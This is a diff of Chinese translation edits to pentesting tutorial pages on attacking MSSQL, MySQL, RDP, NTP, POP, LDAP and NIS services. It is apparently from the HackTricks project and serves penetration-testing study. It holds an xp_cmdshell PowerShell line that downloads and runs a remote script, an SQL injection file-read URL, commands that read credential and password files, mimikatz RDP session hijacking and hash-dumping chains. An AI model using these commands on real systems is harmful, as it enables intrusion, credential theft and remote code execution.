### Godap ### Godap
Godap 是一个交互式终端用户界面,用于 LDAP可以与 AD 和其他 LDAP 服务器中的对象和属性进行交互。它适用于 Windows、Linux 和 MacOS支持简单绑定、传递哈希、传递票证和传递证书以及其他一些专功能,如搜索/创建/更改/删除对象、将用户添加/移除出组、更改密码、编辑对象权限DACLs、修改 Active-Directory 集成 DNSADIDNS、导出为 JSON 文件等。 Godap 是一个交互式终端用户界面,用于 LDAP可以与 AD 和其他 LDAP 服务器中的对象和属性进行交互。它适用于 Windows、Linux 和 MacOS支持简单绑定、传递哈希、传递票证和传递证书以及其他一些专功能,如搜索/创建/更改/删除对象、将用户添加/移除出组、更改密码、编辑对象权限DACLs、修改 Active-Directory 集成 DNSADIDNS、导出为 JSON 文件等。
![](../images/godap.png) ![](../images/godap.png)
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: | Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -6,7 +6,7 @@
来自 [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): 来自 [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。 > **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。
**默认端口:** 1433 **默认端口:** 1433
``` ```
@ -14,7 +14,7 @@
``` ```
### **默认 MS-SQL 系统表** ### **默认 MS-SQL 系统表**
- **master 数据库**: 该数据库至关重要,因为它捕获了 SQL Server 实例的所有系统级细节 - **master 数据库**: 该数据库至关重要,因为它捕获了 SQL Server 实例的所有系统级详细信息
- **msdb 数据库**: SQL Server Agent 利用此数据库来管理警报和作业的调度。 - **msdb 数据库**: SQL Server Agent 利用此数据库来管理警报和作业的调度。
- **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映出来。 - **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映出来。
- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。 - **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping msf> use auxiliary/scanner/mssql/mssql_ping
``` ```
> [!NOTE] > [!NOTE]
> 如果你**没有** **凭据**,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。小心如果你使用现有用户名多次登录失败可能会**锁定账户**。 > 如果您**没有** **凭据**,可以尝试猜测它们。您可以使用 nmap 或 metasploit。请小心如果使用现有用户名多次登录失败可能会**锁定账户**。
#### Metasploit (需要凭据) #### Metasploit (需要凭据)
```bash ```bash
@ -159,10 +159,10 @@ SELECT * FROM sysusers
- **服务器** 示例包括数据库、登录、端点、可用性组和服务器角色。 - **服务器** 示例包括数据库、登录、端点、可用性组和服务器角色。
- **数据库** 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。 - **数据库** 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。
- **模式** 包括表、视图、过程、函数、同义词等。 - **模式** 包括表、视图、过程、函数、同义词等。
2. **权限:** 与 SQL Server 可安全性相关的权限,如 ALTER、CONTROL 和 CREATE可以授予主体。权限管理发生在两个级: 2. **权限:** 与 SQL Server 可安全性相关的权限,如 ALTER、CONTROL 和 CREATE可以授予主体。权限管理发生在两个级
- **服务器级别** 使用登录 - **服务器级别** 使用登录
- **数据库级别** 使用用户 - **数据库级别** 使用用户
3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。对可安全性访问的控制通过授予或拒绝权限或通过将登录和用户包含在具备访问权限的角色中来实现 3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限或通过将登录和用户包含在具备访问权限的角色中来控制对可安全性的访问
```sql ```sql
# Show all different securables names # Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell'
``` ```
## Tricks ## Tricks
### Execute OS Commands ### 执行操作系统命令
> [!CAUTION] > [!CAUTION]
> 请注意,为了能够执行命令,不仅需要**`xp_cmdshell`** **启用**,还需要对`xp_cmdshell`存储过程具有**EXECUTE权限**。您可以通过以下方式获取谁除了sysadmins可以使用**`xp_cmdshell`** > 请注意,为了能够执行命令,不仅需要启用 **`xp_cmdshell`**,还必须对 **`xp_cmdshell` 存储过程** 拥有 **EXECUTE 权限**。您可以通过以下方式获取谁(除了 sysadmins可以使用 **`xp_cmdshell`**
> >
> ```sql > ```sql
> Use master > Use master
@ -270,7 +270,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> ``` > ```
使用工具如 **responder****Inveigh** 可以 **窃取 NetNTLM 哈希**。\ 使用工具如 **responder****Inveigh** 可以 **窃取 NetNTLM 哈希**。\
您可以在以下链接中查看如何使用这些工具: 您可以查看如何使用这些工具:
{{#ref}} {{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
``` ```
### **使用** OPENROWSET **读取文件** ### **使用** OPENROWSET **读取文件**
默认情况下,`MSSQL` 允许对**账户具有读取权限的操作系统中的任何文件进行读取**。我们可以使用以下 SQL 查询: 默认情况下,`MSSQL` 允许对**操作系统中任何具有读取权限的文件进行读取**。我们可以使用以下 SQL 查询:
```sql ```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
``` ```
@ -315,7 +315,7 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
# Check if you have it # Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
``` ```
#### 基于错误的SQL注入向量: #### 基于错误的SQLi向量:
``` ```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
``` ```
@ -343,17 +343,17 @@ GO
``` ```
### 读取注册表 ### 读取注册表
Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) 进行交互: Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** 进行交互:**
| **常规** | **实例感知** | | **常规** | **实例感知** |
| --------------------------- | ---------------------------------- | | --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread | | sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues | | sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys | | sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite | | sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue | | sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey | | sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring | | sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring | | sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
```sql ```sql
# Example read registry # Example read registry
@ -370,9 +370,9 @@ EXEC sp_helprotect 'xp_regwrite';
### 使用 MSSQL 用户定义函数进行 RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a> ### 使用 MSSQL 用户定义函数进行 RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
可以**在 MSSQL 中通过自定义函数加载 .NET dll**。但是,这**需要 `dbo` 访问权限**,因此您需要以 **`sa` 或管理员角色** 连接到数据库。 可以**在 MSSQL 中通过自定义函数加载 .NET dll**。但是,这**需要 `dbo` 访问权限**,因此您需要以 `sa` 或管理员角色连接到数据库。
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 查看示例。 [**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)查看示例。
### 使用 `autoadmin_task_agents` 进行 RCE ### 使用 `autoadmin_task_agents` 进行 RCE
@ -505,7 +505,7 @@ enum_links
use_link [NAME] use_link [NAME]
``` ```
> [!NOTE] > [!NOTE]
> 如果您可以冒充一个用户,即使他不是 sysadmin您应该检查该用户是否可以访问其他数据库或链接服务器 > 如果您可以冒充一个用户,即使他不是 sysadmin您应该检查该用户是否有访问其他数据库或链接服务器的权限
请注意,一旦您成为 sysadmin您可以冒充任何其他用户 请注意,一旦您成为 sysadmin您可以冒充任何其他用户
```sql ```sql
@ -537,7 +537,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
为了使此漏洞利用有效,必须进行一些要求和配置。首先,您必须在机器上拥有管理员权限,或能够管理 SQL Server 配置。 为了使此漏洞利用有效,必须进行一些要求和配置。首先,您必须在机器上拥有管理员权限,或能够管理 SQL Server 配置。
在验证您的权限后,您需要配置以下三项内容 在验证您的权限后,您需要配置以下三项:
1. 在 SQL Server 实例上启用 TCP/IP 1. 在 SQL Server 实例上启用 TCP/IP
2. 添加启动参数,在这种情况下,将添加一个跟踪标志,即 -T7806。 2. 添加启动参数,在这种情况下,将添加一个跟踪标志,即 -T7806。
@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2: Entry_2:
Name: Nmap for SQL Name: Nmap for SQL

View File

@ -22,7 +22,7 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost mysql -h <Hostname> -u root@localhost
``` ```
## External Enumeration ## 外部枚举
某些枚举操作需要有效的凭据 某些枚举操作需要有效的凭据
```bash ```bash
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db #@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
``` ```
您可以在文档中查看每个权限的含义: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) 您可以在文档中查看每个权限的含义[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL 文件 RCE ### MySQL 文件 RCE
@ -112,12 +112,12 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
## MySQL 客户端任意读取文件 ## MySQL 客户端任意读取文件
实际上,当您尝试 **load data local into a table** 文件的 **内容**MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。**然后,如果您可以篡改 mysql 客户端以连接到您自己的 MySQL 服务器,您可以读取任意文件。**\ 实际上,当您尝试 **load data local into a table** 文件的 **内容**MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。**然后,如果您可以篡改 mysql 客户端以连接到您自己的 MySQL 服务器,您可以读取任意文件。**\
请注意,这是使用时的行为: 请注意,这是使用时的行为
```bash ```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
``` ```
注意“local”这个词\ 注意“local”这个词\
因为没有“local”你可能会得到: 因为没有“local”你可能会得到
```bash ```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -171,16 +171,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
``` ```
### 特权提升通过库 ### 特权提升通过库
如果 **mysql 服务器以 root 用户**(或其他更高权限的用户)运行,您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个运行 mysql 的操作系统的 **库** 如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个运行 mysql 的操作系统的 **库**
可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。 可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的那个
如果您 **没有** 这些库,您可以 **寻找它们**,或下载这个 [**linux C 代码**](https://www.exploit-db.com/exploits/1518) 并 **在 linux 漏洞机器中编译** 如果您 **没有** 这些库,您可以 **寻找它们**,或下载这个 [**linux C 代码**](https://www.exploit-db.com/exploits/1518) 并 **在 linux 漏洞机器中编译**
```bash ```bash
gcc -g -c raptor_udf2.c gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
``` ```
现在您已经拥有库请以特权用户root身份登录Mysql并按照以下步骤操作 现在您已经拥有库请以特权用户root身份登录Mysql并按照以下步骤操作
#### Linux #### Linux
```sql ```sql
@ -222,7 +222,7 @@ cat /etc/mysql/debian.cnf
``` ```
您可以**使用这些凭据登录mysql数据库**。 您可以**使用这些凭据登录mysql数据库**。
在文件_ /var/lib/mysql/mysql/user.MYD _中您可以找到**所有MySQL用户的哈希值**您可以从数据库中的mysql.user提取的那些_ 在文件 _/var/lib/mysql/mysql/user.MYD_ 中,您可以找到**所有MySQL用户的哈希值**您可以从数据库中的mysql.user提取的那些_。
您可以通过以下方式提取它们: 您可以通过以下方式提取它们:
```bash ```bash
@ -230,7 +230,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
``` ```
### 启用日志记录 ### 启用日志记录
您可以通过取消注释以下行`/etc/mysql/my.cnf` 中启用 mysql 查询的日志记录: 您可以通过取消注释以下行来启用 `/etc/mysql/my.cnf` 中的 mysql 查询日志记录:
![](<../images/image (899).png>) ![](<../images/image (899).png>)
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: | Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap
@ -609,4 +609,6 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -34,17 +34,17 @@ ntpdc -c sysinfo <IP_ADDRESS>
```bash ```bash
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP> nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
``` ```
## 检查配置文件 ## Examine configuration files
- ntp.conf - ntp.conf
## NTP 放大攻击 ## NTP Amplification Attack
[**NTP DDoS 攻击是如何工作的**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) [**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
**NTP 协议**使用 UDP允许在不需要握手程序的情况下操作这与 TCP 不同。这个特性在 **NTP DDoS 放大攻击**中被利用。在这里,攻击者创建带有假源 IP 数据包,使攻击请求看起来像是来自受害者。这些最初较小的数据包促使 NTP 服务器以更大数据量进行响应,从而放大攻击。 **NTP协议**使用UDP允许在没有握手程序的情况下操作这与TCP不同。这个特性在**NTP DDoS放大攻击**中被利用。在这里攻击者创建带有假源IP的包使攻击请求看起来像是来自受害者。这些最初较小的包促使NTP服务器以更大数据量进行响应从而放大攻击。
尽管 _**MONLIST**_ 命令使用较少,但可以报告最后 600 个连接到 NTP 服务的客户端。虽然该命令本身很简单,但在此类攻击中的误用突显了关键的安全漏洞。 尽管_**MONLIST**_命令很少使用但可以报告最后600个连接到NTP服务的客户端。虽然该命令本身很简单但在此类攻击中的误用突显了关键的安全漏洞。
```bash ```bash
ntpdc -n -c monlist <IP> ntpdc -n -c monlist <IP>
``` ```
@ -64,7 +64,7 @@ Description: Notes for NTP
Note: | Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed. The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -4,7 +4,7 @@
## 基本信息 ## 基本信息
**邮局协议 (POP)** 被描述为计算机网络和互联网领域中的一种协议,用于从远程邮件服务器提取和**检索电子邮件**使其在本地设备上可访问。该协议位于OSI模型的应用层使用户能够获取和接收电子邮件。**POP客户端**的操作通常涉及与邮件服务器建立连接,下载所有消息,将这些消息存储在客户端系统上,然后从服务器中删除它们。尽管该协议有三个版本,但**POP3** 是最常用的版本。 **邮局协议 (POP)** 被描述为计算机网络和互联网领域中的一种协议,用于从远程邮件服务器提取和**检索电子邮件**使其在本地设备上可访问。该协议位于OSI模型的应用层使用户能够获取和接收电子邮件。**POP客户端**的操作通常涉及与邮件服务器建立连接,下载所有消息,将这些消息存储在客户端系统上,然后从服务器中删除它们。尽管该协议有三个版本,但**POP3** 是最常用的版本。
**默认端口:** 110, 995(ssl) **默认端口:** 110, 995(ssl)
``` ```
@ -87,7 +87,7 @@ Description: Notes for POP
Note: | Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version. Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -17,7 +17,7 @@ PORT STATE SERVICE
```bash ```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP> nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
``` ```
它检查可用的加密和DoS漏洞在不对服务造成DoS的情况下并获取NTLM Windows信息版本 它检查可用的加密和DoS漏洞在不导致服务DoS的情况下并获取NTLM Windows信息版本
### [暴力破解](../generic-hacking/brute-force.md#rdp) ### [暴力破解](../generic-hacking/brute-force.md#rdp)
@ -63,24 +63,24 @@ tscon <ID> /dest:<SESSIONNAME>
**重要**:当您访问一个活动的 RDP 会话时,您将使正在使用它的用户断开连接。 **重要**:当您访问一个活动的 RDP 会话时,您将使正在使用它的用户断开连接。
您可以通过进程转储获取密码,但这种方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话... 您可以通过进程转储获取密码,但方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...
#### **Mimikatz** #### **Mimikatz**
可以使用 mimikatz 来做到这一点: 可以使用 mimikatz 来做到这一点:
```bash ```bash
ts::sessions #Get sessions ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session ts::remote /id:2 #Connect to the session
``` ```
### Sticky-keys & Utilman ### Sticky-keys & Utilman
此技术与 **stickykeys****utilman** 结合使用,您将能够随时访问管理 CMD 和任何 RDP 会话。 结合此技术与 **stickykeys****utilman**,您将能够随时访问管理 CMD 和任何 RDP 会话。
您可以使用以下链接搜索已经这些技术后门的 RDP[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) 您可以使用以下链接搜索已经通过这些技术后门的 RDP[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP 进程注入 ### RDP 进程注入
如果来自不同域的某人或具有 **更高权限的用户通过 RDP 登录** 到您是管理员的 PC您可以 **注入** 您的信标到他的 **RDP 会话进程** 中并以他的身份行动: 如果来自不同域的某人或具有 **更高权限的用户通过 RDP 登录** 到您是管理员的 PC您可以 **注入** 您的信标到他的 **RDP 会话进程**并以他的身份行动:
{{#ref}} {{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@ -90,7 +90,7 @@ ts::remote /id:2 #Connect to the session
```bash ```bash
net localgroup "Remote Desktop Users" UserLoginName /add net localgroup "Remote Desktop Users" UserLoginName /add
``` ```
## 自动工具 ## 自动工具
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
@ -115,7 +115,7 @@ Description: Notes for RDP
Note: | Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -6,7 +6,7 @@
**Portmapper** 是一种用于将网络服务端口映射到 **RPC**(远程过程调用)程序编号的服务。它作为 **Unix-based systems** 中的一个关键组件,促进了这些系统之间的信息交换。与 **Portmapper** 相关的 **port** 经常被攻击者扫描,因为它可以揭示有价值的信息。这些信息包括正在运行的 **Unix Operating System (OS)** 的类型以及系统上可用服务的详细信息。此外,**Portmapper** 通常与 **NFS (Network File System)**、**NIS (Network Information Service)** 和其他 **RPC-based services** 一起使用,以有效管理网络服务。 **Portmapper** 是一种用于将网络服务端口映射到 **RPC**(远程过程调用)程序编号的服务。它作为 **Unix-based systems** 中的一个关键组件,促进了这些系统之间的信息交换。与 **Portmapper** 相关的 **port** 经常被攻击者扫描,因为它可以揭示有价值的信息。这些信息包括正在运行的 **Unix Operating System (OS)** 的类型以及系统上可用服务的详细信息。此外,**Portmapper** 通常与 **NFS (Network File System)**、**NIS (Network Information Service)** 和其他 **RPC-based services** 一起使用,以有效管理网络服务。
**默认端口:** 111/TCP/UDPOracle Solaris 中的 32771 **默认端口:** 111/TCP/UDP, 32771 in Oracle Solaris
``` ```
PORT STATE SERVICE PORT STATE SERVICE
111/tcp open rpcbind 111/tcp open rpcbind
@ -16,7 +16,7 @@ PORT STATE SERVICE
rpcinfo irked.htb rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1 nmap -sSUC -p111 192.168.10.1
``` ```
有时它不会给你任何信息,在其他情况下你会得到这样的内容: 有时它不会给你任何信息,在其他情况下你会得到这样的内容:
![](<../images/image (553).png>) ![](<../images/image (553).png>)
@ -38,7 +38,7 @@ nmap -sSUC -p111 192.168.10.1
![](<../images/image (859).png>) ![](<../images/image (859).png>)
探索之旅始于必要软件包的安装(`apt-get install nis`)。接下来的步骤需要使用 `ypwhich` 通过域名和服务器 IP 确认 NIS 服务器的存在,确保这些元素在安全方面是匿名的 探索之旅始于必要软件包的安装(`apt-get install nis`)。接下来的步骤需要使用 `ypwhich` 确认 NIS 服务器的存在,通过域名和服务器 IP 进行 ping确保这些元素为安全而匿名
最后一步也是关键一步涉及 `ypcat` 命令提取敏感数据,特别是加密的用户密码。这些哈希值一旦使用像 **John the Ripper** 这样的工具破解,将揭示系统访问和权限的见解。 最后一步也是关键一步涉及 `ypcat` 命令提取敏感数据,特别是加密的用户密码。这些哈希值一旦使用像 **John the Ripper** 这样的工具破解,将揭示系统访问和权限的见解。
```bash ```bash
@ -52,7 +52,7 @@ ypcat d <domain-name> h <server-ip> passwd.byname
### NIF 文件 ### NIF 文件
| **主文件** | **映射** | **备注** | | **主文件** | **映射** | **备注** |
| ---------------- | ------------------------- | --------------------------------- | | ---------------- | -------------------------- | --------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | 包含主机名和 IP 详细信息 | | /etc/hosts | hosts.byname, hosts.byaddr | 包含主机名和 IP 详细信息 |
| /etc/passwd | passwd.byname, passwd.byuid | NIS 用户密码文件 | | /etc/passwd | passwd.byname, passwd.byuid | NIS 用户密码文件 |
